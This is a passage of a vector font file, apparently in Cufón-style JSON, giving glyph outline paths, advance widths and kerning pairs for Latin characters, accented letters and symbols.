c5":8,"\u00c4":8,"P":-9}},{"d":"51,-218v0,10,-9,17,-19,17v-10,0,-20,-7,-20,-17v0,-9,10,-17,20,-17v10,0,19,8,19,17xm49,-1r-34,5r9,-173r15,0","w":63},{"d":"114,95v-1,7,-10,9,-19,8v-28,0,-51,-13,-51,-52v0,-19,6,-81,6,-90v-1,-32,-26,-31,-51,-32v1,-4,-2,-12,4,-10v22,-1,47,-2,47,-32v0,-9,-6,-71,-6,-90v1,-46,29,-55,66,-51r4,7v-24,1,-38,5,-38,40v-1,56,29,136,-39,130r0,2v69,-4,38,73,39,130v0,35,14,39,38,40","w":119},{"d":"184,-140r-19,5v-29,71,-52,147,-90,209v-9,17,-52,32,-55,1v-1,-16,21,-24,31,-13v20,2,23,-26,33,-40r-59,-157r-19,-5r0,-12r72,0r0,12v-8,4,-25,0,-20,14r42,111v6,-21,44,-103,40,-120r-19,-5r0,-12r63,0r0,12xm140,-210v0,7,-6,12,-14,12v-8,0,-15,-5,-15,-12v0,-8,7,-14,15,-14v8,0,14,6,14,14xm78,-210v0,7,-7,12,-15,12v-8,0,-14,-5,-14,-12v0,-8,6,-14,14,-14v8,0,15,6,15,14","w":183},{"d":"246,-114v0,65,-51,117,-119,117v-68,0,-118,-52,-118,-117v0,-64,50,-117,118,-117v68,0,119,53,119,117xm127,-10v56,0,99,-45,99,-104v0,-58,-43,-104,-99,-104v-57,0,-99,46,-99,104v0,59,42,104,99,104xm201,-43r-32,0r-55,-78v20,2,38,4,40,-25v1,-22,-20,-28,-45,-26r0,113v7,4,19,2,16,16r-58,0v-3,-14,10,-12,17,-16r0,-108v-7,-4,-18,-3,-15,-17v47,1,112,-12,111,37v0,18,-12,31,-30,35v17,19,26,47,51,59r0,10","w":254},{"d":"82,-291r-49,44r-15,0r26,-44r38,0xm85,0r-78,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,192r23,7r0,12","w":92},{"d":"98,-271v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-8,7,-13,15,-13v8,0,14,5,14,13xm36,-271v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-8,7,-13,15,-13v8,0,14,5,14,13xm91,0r-78,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,192r23,7r0,12","w":104},{"d":"157,-291r-49,44r-15,0r26,-44r38,0xm213,-219r-17,6r-67,114r0,80r23,7r0,12r-79,0r0,-12r24,-7r0,-75r-76,-119r-18,-6r0,-11r75,0r0,11v-6,4,-20,1,-18,13r59,88r49,-83r0,-13r-16,-5r0,-11r61,0r0,11","w":217},{"d":"104,-218v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-7,6,-13,14,-13v8,0,15,6,15,13xm41,-218v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-7,7,-13,15,-13v8,0,14,6,14,13","w":115},{"d":"167,-85v-3,66,-48,99,-108,85r0,66r26,5r0,12r-78,0r0,-12r23,-5r0,-276v-4,-6,-12,-8,-20,-9r0,-11r49,-9r0,94v43,-37,112,-9,108,60xm137,-78v-4,-68,-38,-64,-78,-57r0,111v29,28,81,-4,78,-54","w":183},{"d":"194,-46r-6,44v-15,4,-49,5,-65,5r3,11v14,5,22,9,22,24v0,19,-15,28,-33,28v-13,4,-23,-15,-9,-18v9,5,25,17,26,-3v0,-10,-10,-15,-19,-17r0,-26v-60,-7,-103,-57,-103,-117v0,-89,82,-136,174,-109r6,45r-21,0v-5,-22,-25,-34,-47,-34v-119,0,-94,197,9,195v22,0,39,-6,46,-28r17,0","w":201},{"d":"178,-6r-45,9r-2,-22v-27,30,-105,35,-105,-25r0,-92v-5,-6,-11,-11,-21,-12r0,-11r50,-7r0,117v-4,37,51,34,74,24r0,-112v-5,-6,-12,-10,-21,-11r0,-11r50,-7r0,140v4,6,11,9,20,9r0,11","w":183,"k":{"Y":10,"T":10}},{"d":"175,-80v0,48,-33,83,-82,83v-48,0,-83,-35,-83,-83v0,-49,34,-82,83,-82v49,0,82,33,82,82xm98,-13v73,-6,57,-132,-10,-134v-72,6,-59,133,10,134","k":{"w":6,"Y":15,"W":21,"V":21,"T":17}},{"d":"106,-186r-15,0r-49,-44r38,0xm175,-80v0,48,-33,83,-82,83v-48,0,-83,-35,-83,-83v0,-49,34,-82,83,-82v49,0,82,33,82,82xm98,-13v73,-6,57,-132,-10,-134v-72,6,-59,133,10,134","k":{"Y":15,"W":21,"V":21,"T":17,"J":8}},{"d":"350,-230v3,16,-11,15,-18,20r-76,210r-32,0r-45,-118r-43,118r-31,0r-83,-209v-8,-6,-22,-5,-19,-21r78,0v3,16,-11,14,-19,19r0,15r65,167r40,-116r-26,-64v-8,-6,-22,-5,-19,-21r79,0v3,16,-12,14,-20,19r0,15r66,165r58,-164r0,-16v-8,-5,-23,-3,-20,-19r65,0","w":353,"k":{"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c0":18,"\u00f8":19,"\u00e6":14,"\u00c6":18,"\u00fc":21,"\u00fb":21,"\u00f9":21,"\u00f5":21,"\u00f6":21,"\u00f4":21,"\u00f2":21,"\u00f3":21,"\u00e7":6,"\u00e5":9,"\u00e3":9,"\u00e4":9,"\u00e2":9,"\u00e0":9,"\u00e1":9,"\u00c5":18,"\u00c4":18,"u":10,"r":10,"o":21,"i":7,"e":21,"c":6,"a":17,"O":10,"A":27}},{"d":"178,-148r-19,6v-30,71,-51,146,-90,208v-10,15,-55,32,-55,2v0,-30,36,-5,45,-18v8,-12,12,-22,19,-36r-59,-156r-19,-6r0,-11r72,0r0,11v-8,4,-25,0,-20,14r43,111v5,-21,44,-103,40,-120r-20,-5r0,-11r63,0r0,11","w":177,"k":{"z":6,"x":5,"t":8}},{"d":"161,-215r-21,0r0,259r-19,0r0,-259r-25,0r0,259r-19,0r0,-167v-48,0,-68,-21,-68,-53v0,-66,86,-54,152,-54r0,15","w":177},{"d":"33,-232v47,12,6,64,-14,87r-9,-8v9,-13,29,-30,10,-42v-16,-10,-9,-37,13,-37","w":65},{"d":"173,-148r-45,0v11,8,18,21,18,39v-1,47,-47,57,-91,50v-2,26,-1,44,29,40v37,-5,80,3,80,46v0,39,-51,59,-83,59v-27,0,-75,-4,-75,-41v1,-20,20,-30,41,-29v-7,5,-12,14,-12,23v0,25,28,28,47,28v22,0,52,-9,52,-36v-1,-25,-25,-22,-49,-22v-27,0,-49,-1,-58,-31r18,-40v-19,-6,-33,-21,-33,-47v2,-51,66,-64,108,-44v18,-8,26,-26,53,-26r0,31xm117,-108v1,-25,-16,-38,-40,-39v-24,0,-37,15,-36,40v1,24,14,36,39,35v23,-1,37,-14,37,-36","w":174,"k":{"\u00c1":12,"\u00c2":12,"\u00c3":12,"\u00c0":12,"\u00c5":12,"\u00c4":12,"y":14,"e":3,"a":2,"A":12}},{"d":"125,-247r-16,0r-48,-44r37,0xm226,0r-76,0r0,-12r16,-5v2,-28,-10,-42,-15,-63r-88,0v-6,21,-18,35,-16,63r18,5r0,12r-61,0r0,-12r17,-5r74,-211r35,-6r79,217r17,5r0,12xm144,-98r-38,-111r-37,111r75,0","w":230,"k":{"\u00ab":3,"z":7,"x":7,"w":13,"v":12,"u":9,"t":10,"s":6,"r":1,"p":3,"o":5,"m":1,"l":6,"g":7,"f":7,"e":6,"d":3,"c":2,"b":3,"Y":21,"W":17,"V":23,"U":8,"T":21,"C":10,"B":5,"-":9,"'":32,"\"":32}},{"d":"143,-233v12,13,-15,42,-25,45v-16,0,-37,-18,-49,-18v-13,-4,-18,27,-27,12v3,-9,15,-35,26,-35v16,0,43,18,51,18v12,0,17,-13,24,-22xm185,0r-76,0r0,-12r24,-7v-5,-47,20,-124,-34,-122v-18,0,-27,1,-41,6r0,116r22,7r0,12r-75,0r0,-12r24,-7r0,-118v-4,-6,-11,-10,-20,-11r0,-11r45,-7r2,26v32,-32,106,-34,106,27r0,94r23,7r0,12","w":190},{"d":"173,-271v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-8,6,-13,14,-13v8,0,15,5,15,13xm111,-271v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-8,6,-13,14,-13v8,0,15,5,15,13xm242,-219r-23,8v-7,103,34,212,-90,214v-49,0,-99,-18,-99,-77r0,-137v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8v7,86,-32,194,73,191v95,-3,56,-109,64,-191r-24,-8r0,-11r67,0r0,11","w":248,"k":{"P":-9}},{"d":"168,-164v0,41,-41,74,-88,61r-8,-14v35,3,65,3,65,-48v0,-37,-34,-52,-74,-46r0,192r26,7r0,12r-82,0r0,-12r23,-7r0,-193r-23,-7r0,-11r91,0v40,0,70,27,70,66","w":174,"k":{"\u00f8":14,"\u00e6":9,"\u00c6":23,"\u00f5":10,"\u00f6":10,"\u00f4":10,"\u00f2":10,"\u00f3":10,"\u00e5":12,"\u00e3":12,"\u00e4":12,"\u00e2":12,"\u00e0":12,"\u00e1":12,"o":10,"k":8,"e":10,"b":8,"a":7,"A":14}},{"d":"106,-243r-73,274r-21,0r72,-274r22,0","w":117},{"d":"101,-247r-15,0r-49,-44r38,0xm170,-47r-7,47r-156,0r0,-12r23,-7r0,-191v-9,-6,-26,-2,-23,-20r150,0r3,45r-21,0r-7,-23v-18,-7,-45,-5,-70,-5r0,83r55,0r7,-16r16,0r0,51r-16,0r-7,-17r-55,0r0,86v13,18,55,7,77,2r11,-23r20,0","w":176},{"d":"231,0r-82,0r0,-12v7,-3,18,-2,15,-15r-56,-72r-51,68r0,15r18,4r0,12r-72,0r0,-12r17,-7r75,-97r-73,-94v-7,-5,-21,-4,-18,-20r78,0r0,11r-16,4r0,11r52,65r46,-63r0,-13r-17,-4r0,-11r69,0r0,11r-17,6r-69,90r83,104r18,7r0,12","w":235,"k":{"\u00fc":3,"\u00fb":3,"\u00f9":3,"u":3,"Y":7,"C":18}},{"d":"157,-271v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-8,6,-13,14,-13v8,0,15,5,15,13xm95,-271v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-8,6,-13,14,-13v8,0,15,5,15,13xm218,0r-77,0r0,-12r17,-5v2,-23,-6,-36,-11,-52r-88,0v-5,17,-14,29,-12,52r18,5r0,12r-61,0r0,-12r17,-5r70,-200r35,-6r75,206r17,5r0,12xm140,-87r-38,-112r-37,112r75,0","w":222,"k":{"\u00ab":3,"z":7,"x":7,"w":13,"v":12,"u":9,"t":10,"s":6,"r":1,"p":3,"o":5,"m":1,"l":6,"g":7,"f":7,"e":6,"d":3,"c":2,"b":3,"Y":21,"W":17,"V":23,"U":8,"T":21,"C":10,"B":5,"-":9,"'":32,"\"":32}},{"d":"139,-46r-4,46r-128,0r0,-12r87,-132v0,0,-47,-2,-62,6r-6,18r-15,0r0,-39r120,0r0,11r-87,132v27,0,56,2,72,-8r5,-22r18,0","w":145,"k":{"\u00c1":13,"\u00c2":13,"\u00c3":13,"\u00c0":13,"\u00c5":13,"\u00c4":13,"A":13}},{"d":"112,-119v12,13,-15,42,-25,45v-16,0,-37,-17,-49,-17v-11,0,-15,10,-22,18v-13,-10,10,-41,21,-41v16,0,43,17,51,17v12,0,17,-13,24,-22","w":126},{"d":"95,-162v17,0,47,2,47,22v0,32,-38,11,-47,-4r0,124v15,3,37,0,46,-1r-2,11v-12,6,-29,12,-44,13r0,31r-14,0r0,-31v-88,-3,-106,-158,0,-165r0,-33r14,0r0,33xm81,-23r0,-124v-58,9,-54,112,0,124","w":144},{"d":"144,-265v0,22,-17,31,-37,31v-20,0,-36,-9,-36,-31v0,-22,16,-31,36,-31v21,0,37,9,37,31xm218,0r-77,0r0,-12r17,-5v2,-23,-6,-36,-11,-52r-88,0v-5,17,-14,29,-12,52r18,5r0,12r-61,0r0,-12r17,-5r70,-200r35,-6r75,206r17,5r0,12xm126,-265v0,-12,-7,-18,-19,-18v-12,0,-18,6,-18,18v0,11,7,18,18,18v12,0,19,-6,19,-18xm140,-87r-38,-112r-37,112r75,0","w":222,"k":{"\u00ab":3,"\u00f8":5,"z":7,"x":7,"w":13,"v":12,"u":9,"t":10,"s":6,"r":1,"p":3,"o":5,"m":1,"l":6,"g":7,"f":7,"e":6,"d":3,"c":2,"b":3,"Y":21,"W":17,"V":23,"U":8,"T":21,"C":10,"B":5,"-":9,"'":32,"\"":32}},{"w":78},{"d":"76,-230r-49,44r-15,0r27,-44r37,0","w":87},{"d":"141,-247r-15,0r-49,-44r38,0xm242,-219r-23,8v-7,103,34,212,-90,214v-49,0,-99,-18,-99,-77r0,-137v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8v7,86,-32,194,73,191v95,-3,56,-109,64,-191r-24,-8r0,-11r67,0r0,11","w":248,"k":{"P":-9}},{"d":"171,-291r-49,44r-14,0r25,-44r38,0xm242,-219r-23,8v-7,103,34,212,-90,214v-49,0,-99,-18,-99,-77r0,-137v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8v7,86,-32,194,73,191v95,-3,56,-109,64,-191r-24,-8r0,-11r67,0r0,11","w":248,"k":{"P":-9}},{"d":"205,-129v3,17,-14,14,-22,20v1,30,-3,50,-17,72r28,37r-41,0r-10,-14v-48,33,-133,20,-133,-50v0,-30,22,-59,52,-65v-35,-30,-35,-103,24,-103v28,0,53,12,53,43v0,23,-23,48,-44,57r58,78v12,-22,13,-63,-17,-64r0,-11r69,0xm112,-180v0,-17,-4,-37,-25,-37v-41,0,-19,56,0,74v12,-8,25,-22,25,-37xm134,-28r-64,-90v-49,19,-34,102,24,102v14,0,29,-4,40,-12","w":212},{"d":"94,-230r-49,44r-14,0r25,-44r38,0xm81,0r-76,0r0,-12r24,-7r0,-117v-5,-6,-11,-11,-20,-12r0,-11r49,-7r0,147r23,7r0,12","w":90},{"d":"300,-47r-8,47r-156,0r0,-12r24,-7r0,-61r-81,0v-8,21,-27,32,-25,63r17,5r0,12r-70,0r0,-12r18,-5r119,-194v-8,-5,-24,-2,-21,-19r170,0r2,45r-20,0r-7,-23v-18,-7,-45,-5,-70,-5r0,83r55,0r6,-16r16,0r0,51r-16,0r-6,-17r-55,0r0,86v12,18,55,7,76,2r11,-23r21,0xm160,-98r0,-114r-71,114r71,0","w":306,"k":{"W":-12}},{"d":"105,-182v0,29,-20,50,-49,50v-29,0,-50,-22,-50,-50v0,-30,21,-49,50,-49v29,0,49,20,49,49xm59,-142v39,-4,31,-79,-6,-80v-39,3,-31,80,6,80","w":111},{"d":"161,-291r-49,44r-14,0r25,-44r38,0xm226,0r-76,0r0,-12r16,-5v2,-28,-10,-42,-15,-63r-88,0v-6,21,-18,35,-16,63r18,5r0,12r-61,0r0,-12r17,-5r74,-211r35,-6r79,217r17,5r0,12xm144,-98r-38,-111r-37,111r75,0","w":230,"k":{"\u00ab":3,"z":7,"x":7,"w":13,"v":12,"u":9,"t":10,"r":1,"p":3,"o":5,"m":1,"l":6,"g":7,"f":7,"e":6,"d":3,"c":2,"b":3,"Y":21,"W":17,"V":23,"T":19,"C":10,"-":9,"'":32,"\"":32}},{"d":"172,-148r-18,6r-56,142r-28,0r-53,-142v-8,-4,-20,-2,-17,-17r71,0r0,11r-19,5v4,47,27,76,38,116v11,-40,33,-69,37,-116r-18,-5r0,-11r63,0r0,11","w":171,"k":{"\u00c1":12,"\u00c2":12,"\u00c3":12,"\u00c0":12,"\u00e5":3,"\u00e3":3,"\u00e4":3,"\u00e2":3,"\u00e0":3,"\u00e1":3,"\u00c5":12,"\u00c4":12,"a":3,"A":12}},{"d":"164,-295v12,13,-15,42,-25,45v-16,0,-37,-17,-49,-17v-11,0,-15,10,-22,18v-13,-10,10,-40,21,-42v16,0,43,18,51,18v12,0,17,-12,24,-22xm226,0r-76,0r0,-12r16,-5v2,-28,-10,-42,-15,-63r-88,0v-6,21,-18,35,-16,63r18,5r0,12r-61,0r0,-12r17,-5r74,-211r35,-6r79,217r17,5r0,12xm144,-98r-38,-111r-37,111r75,0","w":230,"k":{"\u00ab":3,"z":7,"x":7,"w":13,"v":12,"u":9,"t":10,"s":6,"r":1,"p":3,"o":5,"m":1,"l":6,"g":7,"f":7,"e":6,"d":3,"c":2,"b":3,"Y":21,"W":17,"V":23,"U":8,"T":21,"C":10,"B":5,"-":9,"'":32,"\"":32}},{"d":"138,-291r-49,44r-14,0r25,-44r38,0xm170,-47r-7,47r-156,0r0,-12r23,-7r0,-191v-9,-6,-26,-2,-23,-20r150,0r3,45r-21,0r-7,-23v-18,-7,-45,-5,-70,-5r0,83r55,0r7,-16r16,0r0,51r-16,0r-7,-17r-55,0r0,86v13,18,55,7,77,2r11,-23r20,0","w":176},{"d":"144,-247r-14,0r-49,-44r37,0xm244,-115v0,67,-48,120,-117,120v-72,0,-118,-55,-118,-120v0,-65,47,-119,118,-119v71,0,117,54,117,119xm132,-15v113,-8,97,-198,-13,-199v-113,8,-93,198,13,199","w":253},{"d":"151,-104v0,25,-26,43,-52,47v31,9,47,35,47,53v0,37,-38,52,-69,52v-23,0,-67,-2,-67,-24v0,-32,43,-12,53,4v21,9,50,-4,50,-26v0,-48,-99,-25,-99,-93v0,-23,20,-37,44,-41v-24,-8,-43,-26,-43,-49v1,-31,33,-48,67,-47v20,0,56,0,56,22v0,9,-9,18,-19,18v-13,0,-25,-20,-34,-27v-17,2,-41,10,-41,27v0,41,107,34,107,84xm116,-95v0,-37,-73,-38,-74,0v0,37,74,37,74,0","w":161},{"d":"243,-93r-111,0v-7,65,50,85,109,67v-2,24,-37,29,-56,29v-23,0,-43,-7,-58,-19v-10,7,-44,20,-72,20v-31,0,-49,-19,-49,-42v0,-44,41,-47,96,-47v7,-41,-16,-69,-55,-56v-4,17,-38,40,-38,10v0,-18,54,-31,68,-31v21,0,37,6,46,19v40,-37,129,-20,120,50xm210,-112v4,-24,-15,-35,-31,-35v-26,0,-41,18,-46,41xm116,-28v-7,-12,-12,-27,-13,-43v-25,0,-65,-2,-67,29v6,36,52,23,80,14","w":250},{"d":"60,-217v0,8,-7,15,-16,15v-9,0,-16,-7,-16,-15v0,-8,7,-14,16,-14v9,0,16,6,16,14xm81,0r-76,0r0,-12r24,-7r0,-117v-5,-6,-11,-11,-20,-12r0,-11r49,-7r0,147r23,7r0,12","w":86,"k":{"v":3}},{"d":"44,14v42,12,20,52,-11,52v-16,0,-22,-15,-9,-18v9,4,24,18,26,-3v0,-6,-4,-13,-19,-17r0,-34v13,-2,9,13,13,20","w":81},{"d":"131,-230r-48,44r-15,0r26,-44r37,0xm178,-6r-45,9r-2,-22v-27,30,-105,35,-105,-25r0,-92v-5,-6,-11,-11,-21,-12r0,-11r50,-7r0,117v-4,37,51,34,74,24r0,-112v-5,-6,-12,-10,-21,-11r0,-11r50,-7r0,140v4,6,11,9,20,9r0,11","w":183,"k":{"W":21,"V":21}},{"d":"194,-46r-6,44v-10,3,-37,5,-60,5v-70,0,-118,-55,-118,-118v0,-63,44,-116,113,-116v23,0,51,4,61,7r6,45r-21,0v-1,-17,-24,-33,-47,-33v-114,0,-101,193,13,194v25,0,37,-11,42,-28r17,0","w":201,"k":{"\u00b8":92,"\u00c1":9,"\u00c2":9,"\u00c3":9,"\u00c0":9,"\u00f8":6,"\u00fc":7,"\u00fb":7,"\u00f9":7,"\u00fa":7,"\u00f5":6,"\u00f6":6,"\u00f4":6,"\u00f2":6,"\u00f3":6,"\u00e3":13,"\u00e4":13,"\u00e2":13,"\u00e0":13,"\u00e1":13,"\u00c5":9,"\u00c4":9,"o":4,"e":4,"T":6,"Q":5,"K":4,"A":9}},{"d":"167,-185r-20,0r-7,-20v-19,-10,-49,-8,-78,-8r0,83r58,0r6,-16r15,0r0,50r-15,0r-7,-16r-57,0r0,93r26,7r0,12r-81,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r156,0","w":171,"k":{"\u00f8":10,"\u00e6":7,"\u00fc":3,"\u00fb":3,"\u00f9":3,"\u00fa":3,"\u00f5":10,"\u00f6":10,"\u00f4":10,"\u00f2":10,"\u00f3":10,"\u00e5":7,"\u00e3":13,"\u00e4":13,"\u00e2":13,"\u00e0":13,"\u00e1":13,"u":3,"s":7,"r":3,"q":10,"o":10,"n":3,"m":3,"i":3,"g":10,"e":10,"d":7,"c":10,"a":7,"G":4,"A":16,".":10,",":10}},{"d":"108,-195v0,22,-15,38,-40,38v-24,0,-40,-16,-40,-38v0,-22,15,-39,40,-39v26,0,40,17,40,39xm91,-195v0,-14,-8,-27,-23,-27v-16,0,-23,13,-23,27v0,13,7,24,23,24v14,0,23,-11,23,-24","w":113},{"d":"8,-2v1,-6,-4,-17,5,-15v35,-9,23,-58,25,-95r-33,0r0,-18r33,0v-4,-61,8,-105,68,-102v14,0,41,0,41,19v0,30,-38,9,-46,-6v-40,1,-32,49,-32,89r49,0r0,18r-49,0v0,41,3,56,-25,88v29,-19,62,-1,95,-1v15,0,20,-11,23,-24r16,0v0,28,-13,53,-44,53v-40,0,-76,-18,-112,-4v-4,0,-11,0,-14,-2","w":177},{"d":"147,0r-108,0r0,-12r38,-7r0,-122r-38,-7r0,-11r108,0r0,11r-38,7r0,122r38,7r0,12"},{"d":"64,-135v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-8,7,-13,15,-13v8,0,14,5,14,13xm86,-105r-3,20r-74,0r3,-20r74,0xm62,-51v0,8,-6,13,-14,13v-8,0,-16,-5,-16,-13v0,-7,8,-13,16,-13v8,0,14,6,14,13","w":95},{"d":"178,-55v0,45,-34,58,-72,58v-32,0,-33,-32,-9,-34v11,0,16,10,22,15v19,-1,29,-13,29,-34v0,-54,-62,-40,-62,-76v0,-25,36,-38,36,-63v0,-21,-4,-36,-28,-36v-32,0,-33,43,-33,66r0,159r-56,0r0,-12r24,-7r0,-158v0,-42,36,-64,75,-64v26,0,49,16,49,43v0,31,-41,42,-41,61v0,26,66,15,66,82","w":184},{"d":"153,-244v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r31,-47r17,0xm226,0r-76,0r0,-12r16,-5v2,-28,-10,-42,-15,-63r-88,0v-6,21,-18,35,-16,63r18,5r0,12r-61,0r0,-12r17,-5r74,-211r35,-6r79,217r17,5r0,12xm144,-98r-38,-111r-37,111r75,0","w":230,"k":{"\u00ab":3,"z":7,"x":7,"w":13,"v":12,"u":9,"t":10,"s":6,"r":1,"p":3,"o":5,"m":1,"l":6,"g":7,"f":7,"e":6,"d":3,"c":2,"b":3,"Y":21,"W":17,"V":23,"U":8,"T":21,"C":10,"B":5,"-":9,"'":32,"\"":32}},{"d":"50,-235r-10,173r-14,0r-11,-168xm52,-13v0,10,-9,17,-19,17v-11,0,-19,-7,-19,-17v0,-9,8,-18,19,-18v10,0,19,9,19,18","w":66},{"d":"95,-85r-64,62r-21,0r51,-62r-51,-63r21,0","w":106},{"d":"112,-120r-3,18r-99,0r3,-18r99,0xm112,-86r-3,17r-99,0r3,-17r99,0","w":122},{"d":"128,-184v-24,2,-26,-17,-39,-26v-13,9,-16,28,-40,26r31,-46r17,0xm178,-6r-45,9r-2,-22v-27,30,-105,35,-105,-25r0,-92v-5,-6,-11,-11,-21,-12r0,-11r50,-7r0,117v-4,37,51,34,74,24r0,-112v-5,-6,-12,-10,-21,-11r0,-11r50,-7r0,140v4,6,11,9,20,9r0,11","w":183,"k":{"Y":10,"W":21,"V":21,"T":10}},{"d":"152,-86r-53,0r0,51r-19,0r0,-51r-47,0r0,-18r47,0r0,-50r19,0r0,50r53,0r0,18xm152,0r-119,0r0,-18r119,0r0,18","w":176},{"d":"85,-219r-23,8r0,194v0,49,-40,77,-62,83r-6,-7v15,-15,36,-36,36,-72r0,-198r-24,-8r0,-11r79,0r0,11","w":91,"k":{"\u00f8":8,"\u00fc":6,"\u00fb":6,"\u00f9":6,"\u00f5":8,"\u00f6":8,"\u00f4":8,"\u00f2":8,"\u00f3":8,"\u00e5":8,"\u00e3":8,"\u00e4":8,"\u00e2":8,"\u00e0":8,"\u00e1":8}},{"d":"54,-116v0,14,-9,19,-22,19v-16,0,-22,-7,-22,-19v0,-12,7,-20,22,-20v13,0,22,6,22,20","w":64},{"d":"151,-18v0,65,-59,83,-113,84r-7,-14v35,-6,90,-20,90,-64v0,-40,-46,-41,-85,-36r6,-111r107,0r-4,25r-84,0r-3,62v49,-9,93,8,93,54"},{"d":"170,-47r-7,47r-156,0r0,-12r23,-7r0,-191v-9,-6,-26,-2,-23,-20r150,0r3,45r-21,0r-7,-23v-18,-7,-45,-5,-70,-5r0,83r55,0r7,-19r16,0r0,54r-16,0r-7,-17r-55,0r0,86v13,18,55,7,77,2r11,-23r20,0","w":176,"k":{"\u00b8":99,"\u00fc":1,"\u00fb":1,"\u00f9":1,"\u00fa":1,"x":1,"u":1}},{"d":"180,-287v12,13,-15,42,-25,45v-16,0,-53,-18,-65,-18v-11,0,-16,10,-23,18v-11,-10,11,-41,22,-41v16,0,59,18,67,18v12,0,17,-12,24,-22xm236,-230v3,17,-14,14,-23,20r0,210r-24,0r-141,-189r0,170r21,7r0,12r-61,0r0,-12r21,-7r0,-191v-8,-6,-25,-3,-22,-20r52,0r135,180r0,-160v-8,-6,-25,-3,-22,-20r64,0","w":243},{"d":"153,-238v1,28,-15,58,-48,58v1,-32,17,-52,48,-58xm202,-160v-37,18,-31,87,6,98v-6,22,-33,66,-55,65v-24,-9,-59,-10,-82,0v-63,-10,-102,-182,-7,-186v10,-1,38,10,46,9v21,-3,57,-19,76,-1v5,4,11,9,16,15","w":214},{"d":"164,-244v-24,2,-26,-17,-39,-26v-13,9,-15,28,-39,26r30,-47r17,0xm244,-115v0,67,-48,120,-117,120v-72,0,-118,-55,-118,-120v0,-65,47,-119,118,-119v71,0,117,54,117,119xm132,-15v113,-8,97,-198,-13,-199v-113,8,-93,198,13,199","w":253},{"d":"105,-24r-13,0r-36,-61r36,-62r13,0r-21,62xm59,-24r-13,0r-36,-61r36,-62r13,0r-21,62","w":115},{"d":"101,-159r-6,14r-35,0r0,110v0,19,17,21,40,22r-2,11v-10,2,-28,5,-38,5v-30,0,-29,-21,-29,-45r0,-103r-29,0r3,-14r26,-7r21,-33r8,1r0,39r41,0","w":101,"k":{"y":8}},{"d":"166,-85v0,55,-44,101,-108,85r0,66r26,5r0,12r-79,0r0,-12r24,-5r0,-202v-5,-6,-11,-11,-20,-12r0,-11r47,-7r1,21v12,-9,24,-17,38,-17v53,0,71,38,71,77xm136,-79v-2,-66,-39,-64,-78,-56r0,110v29,29,80,0,78,-54","w":175},{"d":"176,-54r-6,54r-163,0r0,-12r23,-7r0,-194r-23,-6r0,-11r79,0r0,11r-24,6r0,188v15,17,59,6,82,0r10,-29r22,0","w":179,"k":{"Y":21,"W":20,"V":24,"U":7,"T":21}},{"d":"245,-115v0,67,-48,120,-117,120v-72,0,-118,-55,-118,-120v0,-65,47,-119,118,-119v71,0,117,54,117,119xm134,-15v112,-9,96,-198,-14,-199v-116,8,-92,198,14,199","w":255,"k":{"A":10}},{"d":"132,-271v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-8,6,-13,14,-13v8,0,15,5,15,13xm69,-271v0,7,-6,13,-14,13v-8,0,-14,-6,-14,-13v0,-8,6,-13,14,-13v8,0,14,5,14,13xm170,-47r-7,47r-156,0r0,-12r23,-7r0,-191v-9,-6,-26,-2,-23,-20r150,0r3,45r-21,0r-7,-23v-18,-7,-45,-5,-70,-5r0,83r55,0r7,-16r16,0r0,51r-16,0r-7,-17r-55,0r0,86v13,18,55,7,77,2r11,-23r20,0","w":176},{"d":"94,-186r-15,0r-48,-44r37,0","w":124},{"d":"87,-105r-3,20r-74,0r3,-20r74,0","w":97,"k":{"\u00c1":9,"\u00c2":9,"\u00c3":9,"\u00c0":9,"\u00c5":9,"\u00c4":9,"A":9}},{"d":"78,27r-12,1v0,0,-46,-67,-46,-135v0,-68,44,-136,44,-136r14,0v0,0,-29,75,-29,136v0,61,29,134,29,134","w":88},{"d":"165,-244v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r31,-47r17,0xm242,-219r-23,8v-7,103,34,212,-90,214v-49,0,-99,-18,-99,-77r0,-137v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8v7,86,-32,194,73,191v95,-3,56,-109,64,-191r-24,-8r0,-11r67,0r0,11","w":248,"k":{"P":-9}},{"d":"94,-138r-30,5r-1,-10v-10,13,-57,14,-57,-15v0,-26,22,-28,55,-28v4,-24,-8,-42,-31,-34v0,12,-19,25,-22,7v9,-25,77,-31,75,10v4,19,-11,55,11,58r0,7xm61,-148v-2,-9,3,-25,-2,-30v-12,0,-31,-1,-31,16v0,18,18,17,33,14","w":96},{"d":"236,-230v3,17,-14,14,-23,20r0,210r-24,0r-141,-189r0,170r21,7r0,12r-61,0r0,-12r21,-7r0,-191v-8,-6,-25,-3,-22,-20r52,0r135,180r0,-160v-8,-6,-25,-3,-22,-20r64,0","w":243,"k":{"\u00f8":6,"\u00f5":6,"\u00f6":6,"\u00f4":6,"\u00f2":6,"\u00f3":6,"\u00e5":6,"\u00e3":6,"\u00e4":6,"\u00e2":6,"\u00e0":6,"\u00e1":6,"o":3,"e":3,"a":3}},{"d":"87,-105r-3,20r-74,0r3,-20r74,0","w":97},{"w":345},{"d":"230,-117v0,60,-48,117,-114,117r-99,0r0,-12r23,-7r0,-91r-38,0r3,-20r35,0r0,-81v-9,-5,-26,-2,-23,-19r98,0v71,0,115,53,115,113xm194,-117v1,-65,-43,-102,-122,-94r0,81r60,0r-3,20r-57,0r0,80v5,9,15,11,31,11v62,0,91,-48,91,-98","w":240},{"d":"127,-244v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r30,-47r18,0xm170,-47r